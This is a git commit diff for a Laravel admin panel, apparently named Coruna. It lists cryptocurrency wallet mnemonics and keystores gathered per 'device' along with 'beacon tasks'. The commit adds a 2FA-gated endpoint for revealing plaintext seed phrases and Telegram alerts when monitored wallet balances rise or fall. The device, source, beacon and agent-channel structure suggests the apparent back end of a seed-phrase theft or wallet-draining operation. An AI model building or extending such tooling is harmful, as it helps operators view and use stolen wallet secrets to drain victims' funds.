feat: balance change
This commit is contained in:
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
@@ -124,6 +125,8 @@ class DeviceController extends Controller
|
||||
'addressChains' => $addressChains,
|
||||
'portal' => $this->portal(),
|
||||
'beaconTasks' => $device->beaconTasks,
|
||||
'can_reveal' => $this->canRevealMnemonics(),
|
||||
'google_bound' => $this->googleBoundForReveal(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -468,13 +471,16 @@ class DeviceController extends Controller
|
||||
$field = 'id';
|
||||
}
|
||||
$paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (WalletMnemonic $w) {
|
||||
$canReveal = $this->canRevealMnemonics();
|
||||
$data = collect($paginator->items())->map(function (WalletMnemonic $w) use ($canReveal) {
|
||||
return [
|
||||
'id' => $w->id,
|
||||
'source' => $w->source ?: '',
|
||||
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
|
||||
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
|
||||
'can_reveal' => $canReveal,
|
||||
'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $w->id) : '',
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -674,4 +680,21 @@ class DeviceController extends Controller
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function canRevealMnemonics(): bool
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
return false;
|
||||
}
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->canRevealMnemonics();
|
||||
}
|
||||
|
||||
private function googleBoundForReveal(): bool
|
||||
{
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->hasGoogleBound();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,8 +17,8 @@ class Google2faController extends Controller
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return view('admin.security.google2fa', [
|
||||
'enabled' => (int) $admin->google_auth_open === 1,
|
||||
'bound' => filled($admin->google_secret),
|
||||
'enabled' => $admin->requiresLoginGoogle(),
|
||||
'bound' => $admin->hasGoogleBound(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -62,6 +62,7 @@ class Google2faController extends Controller
|
||||
$data = $request->validate([
|
||||
'GAKey' => ['required', 'string', 'max:16'],
|
||||
'GASecret' => ['required', 'string', 'max:64'],
|
||||
'login_verify' => ['nullable', 'integer', 'in:0,1'],
|
||||
], [
|
||||
'GAKey.required' => '请输入谷歌验证码',
|
||||
'GASecret.required' => '参数不完整',
|
||||
@@ -76,14 +77,20 @@ class Google2faController extends Controller
|
||||
return response()->json(['code' => 1, 'msg' => '绑定失败,验证码不正确']);
|
||||
}
|
||||
|
||||
$loginVerify = (int) ($data['login_verify'] ?? 0);
|
||||
$admin->forceFill([
|
||||
'google_auth_open' => 1,
|
||||
'google_auth_open' => $loginVerify,
|
||||
'google_secret' => $data['GASecret'],
|
||||
])->save();
|
||||
|
||||
$request->session()->forget('admin_google2fa_pending_secret');
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '绑定成功,下次登录将需要输入谷歌验证码']);
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => $loginVerify === 1
|
||||
? '绑定成功,下次登录需要输入谷歌验证码'
|
||||
: '绑定成功。登录不校验谷歌验证码;查看助记词明文仍需验证',
|
||||
]);
|
||||
}
|
||||
|
||||
public function toggle(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
||||
@@ -106,18 +113,18 @@ class Google2faController extends Controller
|
||||
}
|
||||
|
||||
$open = (int) $data['open'];
|
||||
if ($open === 0) {
|
||||
$code = (string) ($data['GACode'] ?? '');
|
||||
if (! $google2fa->verify((string) $admin->google_secret, $code)) {
|
||||
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||
}
|
||||
$code = (string) ($data['GACode'] ?? '');
|
||||
if (! $google2fa->verify((string) $admin->google_secret, $code)) {
|
||||
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||
}
|
||||
|
||||
$admin->forceFill(['google_auth_open' => $open])->save();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => $open === 1 ? '已开启谷歌验证' : '已关闭谷歌验证',
|
||||
'msg' => $open === 1
|
||||
? '已开启登录谷歌验证'
|
||||
: '已关闭登录谷歌验证(绑定仍保留,查看助记词仍需验证)',
|
||||
]);
|
||||
}
|
||||
|
||||
|
||||
@@ -4,9 +4,11 @@ namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use App\Services\MnemonicWalletDiscovery;
|
||||
use App\Services\WalletBalanceService;
|
||||
use App\Support\AgentScope;
|
||||
@@ -36,6 +38,8 @@ class MnemonicController extends Controller
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'sources' => $sources,
|
||||
'can_reveal' => $this->canRevealMnemonics(),
|
||||
'google_bound' => $this->googleBoundForReveal(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -56,7 +60,8 @@ class MnemonicController extends Controller
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
$canReveal = $this->canRevealMnemonics();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) {
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
@@ -68,6 +73,8 @@ class MnemonicController extends Controller
|
||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
|
||||
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
|
||||
'can_reveal' => $canReveal,
|
||||
'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $row->id) : '',
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -79,6 +86,54 @@ class MnemonicController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function reveal(Request $request, WalletMnemonic $mnemonic, AdminGoogle2fa $google2fa)
|
||||
{
|
||||
/** @var Admin|null $admin */
|
||||
$admin = auth('admin')->user();
|
||||
if ($admin === null || ! $admin->canRevealMnemonics()) {
|
||||
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
|
||||
}
|
||||
if ($this->isAgentPortal() || ! $this->mnemonicAllowed($mnemonic)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
if (! $admin->hasGoogleBound()) {
|
||||
return response()->json(['code' => 1, 'msg' => '请先在「安全 → 谷歌验证」绑定,查看明文必须验证']);
|
||||
}
|
||||
|
||||
$data = $request->validate([
|
||||
'GACode' => ['required', 'string', 'max:16'],
|
||||
], [
|
||||
'GACode.required' => '请输入谷歌验证码',
|
||||
]);
|
||||
|
||||
$throttleKey = 'mnemonic-reveal:'.$admin->id;
|
||||
if (RateLimiter::tooManyAttempts($throttleKey, 8)) {
|
||||
$seconds = RateLimiter::availableIn($throttleKey);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '验证过于频繁,请 '.$seconds.' 秒后再试',
|
||||
], 429);
|
||||
}
|
||||
|
||||
if (! $google2fa->verify((string) $admin->google_secret, $data['GACode'])) {
|
||||
RateLimiter::hit($throttleKey, 60);
|
||||
|
||||
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||
}
|
||||
|
||||
RateLimiter::clear($throttleKey);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'id' => $mnemonic->id,
|
||||
'mnemonic' => (string) $mnemonic->mnemonic,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function wallets(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery)
|
||||
{
|
||||
if (! $this->mnemonicAllowed($mnemonic)) {
|
||||
@@ -146,6 +201,23 @@ class MnemonicController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
private function canRevealMnemonics(): bool
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
return false;
|
||||
}
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->canRevealMnemonics();
|
||||
}
|
||||
|
||||
private function googleBoundForReveal(): bool
|
||||
{
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->hasGoogleBound();
|
||||
}
|
||||
|
||||
private function mnemonicAllowed(WalletMnemonic $mnemonic): bool
|
||||
{
|
||||
$allowed = WalletMnemonic::query()
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Agent;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
|
||||
class PasswordController extends Controller
|
||||
{
|
||||
public function index()
|
||||
{
|
||||
return view('user.password', [
|
||||
'portal' => 'user',
|
||||
'username' => (string) (auth('agent')->user()?->username ?? ''),
|
||||
]);
|
||||
}
|
||||
|
||||
public function update(Request $request): JsonResponse
|
||||
{
|
||||
/** @var User $user */
|
||||
$user = $request->user('agent');
|
||||
|
||||
$data = $request->validate([
|
||||
'current_password' => ['required', 'string'],
|
||||
'password' => ['required', 'string', 'min:6', 'max:128', 'confirmed'],
|
||||
], [
|
||||
'current_password.required' => '请填写当前密码',
|
||||
'password.required' => '请填写新密码',
|
||||
'password.min' => '新密码至少 6 位',
|
||||
'password.confirmed' => '两次输入的新密码不一致',
|
||||
]);
|
||||
|
||||
if (! Hash::check($data['current_password'], $user->password)) {
|
||||
return response()->json(['code' => 1, 'msg' => '当前密码不正确']);
|
||||
}
|
||||
|
||||
if (Hash::check($data['password'], $user->password)) {
|
||||
return response()->json(['code' => 1, 'msg' => '新密码不能与当前密码相同']);
|
||||
}
|
||||
|
||||
$user->password = $data['password'];
|
||||
$user->save();
|
||||
|
||||
$request->session()->regenerate();
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '密码已更新']);
|
||||
}
|
||||
}
|
||||
@@ -37,4 +37,19 @@ class Admin extends Authenticatable
|
||||
{
|
||||
return (int) $this->status === 1;
|
||||
}
|
||||
|
||||
public function hasGoogleBound(): bool
|
||||
{
|
||||
return filled($this->google_secret);
|
||||
}
|
||||
|
||||
public function requiresLoginGoogle(): bool
|
||||
{
|
||||
return $this->hasGoogleBound() && (int) $this->google_auth_open === 1;
|
||||
}
|
||||
|
||||
public function canRevealMnemonics(): bool
|
||||
{
|
||||
return $this->isSuper();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -282,13 +282,15 @@ class TelegramNotifier
|
||||
string $amount,
|
||||
?string $chain = null,
|
||||
?string $balance = null,
|
||||
bool $inbound = true,
|
||||
): void {
|
||||
$signed = ($inbound ? '+' : '-').ltrim($amount, '+-');
|
||||
$lines = [
|
||||
'✅ <b>余额入账</b>',
|
||||
$inbound ? '✅ <b>余额入账</b>' : '📤 <b>余额转出</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🪙 <b>链</b>: '.$this->e($chain ?: '—'),
|
||||
'📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
|
||||
'💵 <b>金额</b>: +'.$this->e($amount).' '.$this->e($symbol),
|
||||
'💵 <b>金额</b>: '.$this->e($signed).' '.$this->e($symbol),
|
||||
];
|
||||
if ($balance !== null && trim($balance) !== '') {
|
||||
$lines[] = '💰 <b>余额</b>: '.$this->e($balance);
|
||||
|
||||
@@ -148,13 +148,13 @@ class TokenviewMonitorService
|
||||
});
|
||||
}
|
||||
|
||||
$inbound = [];
|
||||
$changes = [];
|
||||
foreach ($deltas as $col => $delta) {
|
||||
if ($delta > 0) {
|
||||
$inbound[$col] = $delta;
|
||||
if ($delta != 0.0) {
|
||||
$changes[$col] = $delta;
|
||||
}
|
||||
}
|
||||
if ($inbound === []) {
|
||||
if ($changes === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -162,14 +162,15 @@ class TokenviewMonitorService
|
||||
$primary->refresh();
|
||||
$balanceSummary = $primary->coinsSummary();
|
||||
$deviceKey = Device::query()->whereKey($primary->device_id)->value('device_id') ?: (string) $primary->device_id;
|
||||
foreach ($inbound as $col => $delta) {
|
||||
foreach ($changes as $col => $delta) {
|
||||
$this->telegram->notifyBalanceChange(
|
||||
(string) $deviceKey,
|
||||
$lookup,
|
||||
strtoupper($col),
|
||||
WalletAddress::formatAmount($col, $delta),
|
||||
WalletAddress::formatAmount($col, abs($delta)),
|
||||
$coin,
|
||||
$balanceSummary
|
||||
$balanceSummary,
|
||||
$delta > 0,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -210,6 +210,7 @@
|
||||
@endsection
|
||||
|
||||
@push('scripts')
|
||||
@include('admin.partials.mnemonic_reveal')
|
||||
<script>
|
||||
layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
var table = layui.table;
|
||||
@@ -224,6 +225,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device));
|
||||
var listUrl = @json(route(($portal ?? 'admin').'.devices.index'));
|
||||
var token = @json(csrf_token());
|
||||
var revealMnemonic = window.CorunaMnemonicReveal({
|
||||
token: token,
|
||||
google_bound: @json(!empty($google_bound)),
|
||||
security_url: @json(auth('admin')->check() ? route('admin.security.google2fa') : '')
|
||||
});
|
||||
var dash = function (v) { return v ? v : '—'; };
|
||||
var esc = function (v) {
|
||||
return String(v == null ? '' : v)
|
||||
@@ -426,6 +432,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
{ field: 'source', title: 'Source', width: 160, sort: true, templet: function (d) { return dash(d.source); } },
|
||||
{ field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
|
||||
@if(!empty($can_reveal))
|
||||
, { title: '操作', width: 110, align: 'center', templet: function (d) {
|
||||
return d.reveal_url ? '<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看明文</a>' : '—';
|
||||
} }
|
||||
@endif
|
||||
]],
|
||||
keystores: [[
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
@@ -495,6 +506,12 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
if (tab === 'mnemonics') {
|
||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||||
if (obj.event === 'reveal') revealMnemonic(obj.data);
|
||||
});
|
||||
}
|
||||
|
||||
if (tab === 'keystores') {
|
||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||||
if (obj.event === 'decrypt') {
|
||||
|
||||
@@ -61,6 +61,9 @@
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-mn-list" lay-filter="LAY-mn-list"></table>
|
||||
<script type="text/html" id="LAY-mn-ops">
|
||||
@if(!empty($can_reveal))
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看明文</a>
|
||||
@endif
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wallets">查看钱包</a>
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
</script>
|
||||
@@ -69,11 +72,17 @@
|
||||
@endsection
|
||||
|
||||
@push('scripts')
|
||||
@include('admin.partials.mnemonic_reveal')
|
||||
<script>
|
||||
layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
var token = @json(csrf_token());
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
var revealMnemonic = window.CorunaMnemonicReveal({
|
||||
token: token,
|
||||
google_bound: @json(!empty($google_bound)),
|
||||
security_url: @json(auth('admin')->check() ? route('admin.security.google2fa') : '')
|
||||
});
|
||||
|
||||
function esc(v) {
|
||||
return String(v == null ? '' : v)
|
||||
@@ -226,7 +235,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'device_key', title: '设备 ID', minWidth: 220 },
|
||||
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 },
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 190, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
|
||||
{ title: '操作', width: {{ !empty($can_reveal) ? 280 : 190 }}, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
@@ -237,6 +246,10 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
return false;
|
||||
});
|
||||
table.on('tool(LAY-mn-list)', function (obj) {
|
||||
if (obj.event === 'reveal') {
|
||||
revealMnemonic(obj.data);
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'wallets') {
|
||||
openWallets(obj.data);
|
||||
return;
|
||||
|
||||
@@ -0,0 +1,77 @@
|
||||
<script>
|
||||
window.CorunaMnemonicReveal = function (opts) {
|
||||
opts = opts || {};
|
||||
var layer = (window.layui && layui.layer) ? layui.layer : null;
|
||||
var $ = (window.layui && layui.$) ? layui.$ : window.jQuery;
|
||||
if (!layer || !$) return;
|
||||
var token = opts.token || '';
|
||||
var googleBound = !!opts.google_bound;
|
||||
var securityUrl = opts.security_url || '';
|
||||
|
||||
function esc(v) {
|
||||
return String(v == null ? '' : v)
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"');
|
||||
}
|
||||
|
||||
return function (row) {
|
||||
if (!row || !row.reveal_url) {
|
||||
return layer.msg('无权查看明文');
|
||||
}
|
||||
if (!googleBound) {
|
||||
return layer.msg('请先在「安全 → 谷歌验证」绑定。查看助记词必须验证。', {
|
||||
time: 3200
|
||||
}, function () {
|
||||
if (securityUrl && parent && parent.layui && parent.layui.index) {
|
||||
parent.layui.index.openTabsPage(securityUrl, '谷歌验证');
|
||||
}
|
||||
});
|
||||
}
|
||||
layer.prompt({
|
||||
title: '输入谷歌验证码查看明文',
|
||||
formType: 0,
|
||||
maxlength: 16
|
||||
}, function (value, index) {
|
||||
var loadIdx = layer.load(1, { shade: 0.1 });
|
||||
$.ajax({
|
||||
url: row.reveal_url,
|
||||
method: 'POST',
|
||||
data: { _token: token, GACode: value },
|
||||
success: function (res) {
|
||||
layer.close(loadIdx);
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '验证失败', { icon: 2 });
|
||||
}
|
||||
layer.close(index);
|
||||
var phrase = (res.data && res.data.mnemonic) || '';
|
||||
layer.open({
|
||||
title: '助记词明文 #' + (row.id || ''),
|
||||
area: ['560px', 'auto'],
|
||||
content: '<div style="padding:8px 4px;word-break:break-word;"><code style="font-size:13px;line-height:1.6;">' +
|
||||
esc(phrase) + '</code></div>',
|
||||
btn: ['复制', '关闭'],
|
||||
yes: function (i) {
|
||||
var done = function () { layer.msg('已复制'); layer.close(i); };
|
||||
if (navigator.clipboard && navigator.clipboard.writeText) {
|
||||
navigator.clipboard.writeText(phrase).then(done).catch(function () {
|
||||
window.prompt('复制助记词', phrase);
|
||||
layer.close(i);
|
||||
});
|
||||
} else {
|
||||
window.prompt('复制助记词', phrase);
|
||||
layer.close(i);
|
||||
}
|
||||
}
|
||||
});
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.close(loadIdx);
|
||||
layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '验证失败', { icon: 2 });
|
||||
}
|
||||
});
|
||||
});
|
||||
};
|
||||
};
|
||||
</script>
|
||||
@@ -6,19 +6,30 @@
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">谷歌验证(Google Authenticator)</div>
|
||||
<div class="layui-card-body">
|
||||
<p style="margin-bottom:16px;">
|
||||
当前状态:
|
||||
@if($enabled)
|
||||
<span style="color:#16b777;">已开启</span>
|
||||
@elseif($bound)
|
||||
<span style="color:#ffb800;">已绑定未开启</span>
|
||||
<p style="margin-bottom:8px;">
|
||||
绑定状态:
|
||||
@if($bound)
|
||||
<span style="color:#16b777;">已绑定</span>
|
||||
@else
|
||||
<span style="color:#999;">未绑定</span>
|
||||
@endif
|
||||
</p>
|
||||
<p style="margin-bottom:16px;">
|
||||
登录验证:
|
||||
@if($enabled)
|
||||
<span style="color:#16b777;">已开启(登录必须填验证码)</span>
|
||||
@elseif($bound)
|
||||
<span style="color:#ffb800;">未开启(登录不校验,查看助记词仍需验证)</span>
|
||||
@else
|
||||
<span style="color:#999;">未开启</span>
|
||||
@endif
|
||||
</p>
|
||||
<p class="layui-word-aux" style="margin-bottom:16px;">
|
||||
绑定后可以关闭登录验证。超级管理员查看助记词明文必须使用谷歌验证,与登录开关无关。
|
||||
</p>
|
||||
|
||||
@if(!$bound)
|
||||
<form class="layui-form" lay-filter="LAY-ga-prepare" style="max-width:480px;">
|
||||
<form class="layui-form" lay-filter="LAY-ga-prepare" style="max-width:520px;">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">登录密码</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -32,7 +43,7 @@
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<div id="LAY-ga-bind-box" style="display:none;max-width:480px;margin-top:24px;">
|
||||
<div id="LAY-ga-bind-box" style="display:none;max-width:520px;margin-top:24px;">
|
||||
<div id="LAY-ga-qr" style="margin-bottom:12px;"></div>
|
||||
<p style="margin-bottom:12px;">密钥:<code id="LAY-ga-secret"></code></p>
|
||||
<form class="layui-form" lay-filter="LAY-ga-bind">
|
||||
@@ -43,6 +54,13 @@
|
||||
<input type="text" name="GAKey" required lay-verify="required" class="layui-input" inputmode="numeric" autocomplete="one-time-code" placeholder="扫码后输入 6 位验证码">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">登录验证</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="checkbox" name="login_verify" value="1" title="登录时校验谷歌验证码">
|
||||
<div class="layui-form-mid layui-word-aux">可不勾选。不勾选则登录不校验,之后也可再开。</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn layui-btn-normal" lay-submit lay-filter="LAY-ga-bind">确认绑定</button>
|
||||
@@ -51,7 +69,7 @@
|
||||
</form>
|
||||
</div>
|
||||
@else
|
||||
<form class="layui-form" style="max-width:480px;">
|
||||
<form class="layui-form" style="max-width:520px;">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">登录密码</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -61,15 +79,15 @@
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">验证码</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="GACode" id="LAY-ga-code" class="layui-input" inputmode="numeric" autocomplete="one-time-code" placeholder="关闭/解绑时需要">
|
||||
<input type="text" name="GACode" id="LAY-ga-code" class="layui-input" inputmode="numeric" autocomplete="one-time-code" placeholder="开关登录验证 / 解绑都需要">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
@if($enabled)
|
||||
<button type="button" class="layui-btn layui-btn-warm" id="LAY-ga-close">关闭验证</button>
|
||||
<button type="button" class="layui-btn layui-btn-warm" id="LAY-ga-close">关闭登录验证</button>
|
||||
@else
|
||||
<button type="button" class="layui-btn" id="LAY-ga-open">开启验证</button>
|
||||
<button type="button" class="layui-btn" id="LAY-ga-open">开启登录验证</button>
|
||||
@endif
|
||||
<button type="button" class="layui-btn layui-btn-danger" id="LAY-ga-unbind">解除绑定</button>
|
||||
</div>
|
||||
@@ -101,6 +119,7 @@ layui.use(['form', 'layer'], function () {
|
||||
$('#LAY-ga-secret').text(res.secret || '');
|
||||
$('#LAY-ga-secret-input').val(res.secret || '');
|
||||
$('#LAY-ga-bind-box').show();
|
||||
form.render('checkbox');
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.msg((xhr.responseJSON && (xhr.responseJSON.message || xhr.responseJSON.msg)) || '请求失败', { icon: 2 });
|
||||
@@ -110,10 +129,12 @@ layui.use(['form', 'layer'], function () {
|
||||
});
|
||||
|
||||
form.on('submit(LAY-ga-bind)', function (data) {
|
||||
var payload = Object.assign({}, data.field, { _token: token });
|
||||
payload.login_verify = $('input[name=login_verify]').is(':checked') ? 1 : 0;
|
||||
$.ajax({
|
||||
url: @json(route('admin.security.google2fa.bind')),
|
||||
method: 'POST',
|
||||
data: Object.assign({}, data.field, { _token: token }),
|
||||
data: payload,
|
||||
success: function (res) {
|
||||
layer.msg(res.msg || '', { icon: res.code === 0 ? 1 : 2 }, function () {
|
||||
if (res.code === 0) location.reload();
|
||||
@@ -151,7 +172,7 @@ layui.use(['form', 'layer'], function () {
|
||||
$('#LAY-ga-close').on('click', function () { toggle(0); });
|
||||
|
||||
$('#LAY-ga-unbind').on('click', function () {
|
||||
layer.confirm('确定解除谷歌验证绑定?', function (index) {
|
||||
layer.confirm('确定解除谷歌验证绑定?解除后无法查看助记词明文。', function (index) {
|
||||
$.ajax({
|
||||
url: @json(route('admin.security.google2fa.unbind')),
|
||||
method: 'POST',
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
@extends('admin.content')
|
||||
|
||||
@section('title', '修改密码')
|
||||
|
||||
@section('content')
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">修改密码</div>
|
||||
<div class="layui-card-body">
|
||||
<form class="layui-form" lay-filter="LAY-password-form" style="max-width:480px;">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">账号</label>
|
||||
<div class="layui-input-block">
|
||||
<div class="layui-form-mid">{{ $username }}</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">当前密码</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="password" name="current_password" required lay-verify="required" class="layui-input" autocomplete="current-password">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">新密码</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="password" name="password" required lay-verify="required" class="layui-input" autocomplete="new-password" placeholder="至少 6 位">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">确认新密码</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="password" name="password_confirmation" required lay-verify="required" class="layui-input" autocomplete="new-password">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-password-save">保存</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
@endsection
|
||||
|
||||
@push('scripts')
|
||||
<script>
|
||||
layui.use(['form', 'layer'], function () {
|
||||
var form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
var token = @json(csrf_token());
|
||||
|
||||
form.on('submit(LAY-password-save)', function (data) {
|
||||
$.ajax({
|
||||
url: @json(route('user.password.update')),
|
||||
method: 'PUT',
|
||||
data: Object.assign({}, data.field, { _token: token }),
|
||||
success: function (res) {
|
||||
layer.msg(res.msg || (res.code === 0 ? '密码已更新' : '失败'), { icon: res.code === 0 ? 1 : 2 }, function () {
|
||||
if (res.code === 0) {
|
||||
$('input[name=current_password], input[name=password], input[name=password_confirmation]').val('');
|
||||
}
|
||||
});
|
||||
},
|
||||
error: function (xhr) {
|
||||
var body = xhr.responseJSON || {};
|
||||
var msg = body.msg || body.message;
|
||||
if (!msg && body.errors) {
|
||||
var first = Object.values(body.errors)[0];
|
||||
msg = Array.isArray(first) ? first[0] : first;
|
||||
}
|
||||
layer.msg(msg || '保存失败', { icon: 2 });
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@endpush
|
||||
@@ -33,6 +33,7 @@
|
||||
<cite>{{ auth('agent')->user()->username ?? 'agent' }}</cite>
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd style="text-align: center;"><a lay-href="{{ route('user.password.index') }}">修改密码</a></dd>
|
||||
<dd layadmin-event="logout" style="text-align: center;"><a>退出</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
@@ -107,6 +108,17 @@
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li data-name="account" class="layui-nav-item">
|
||||
<a href="javascript:;" lay-tips="账号" lay-direction="2">
|
||||
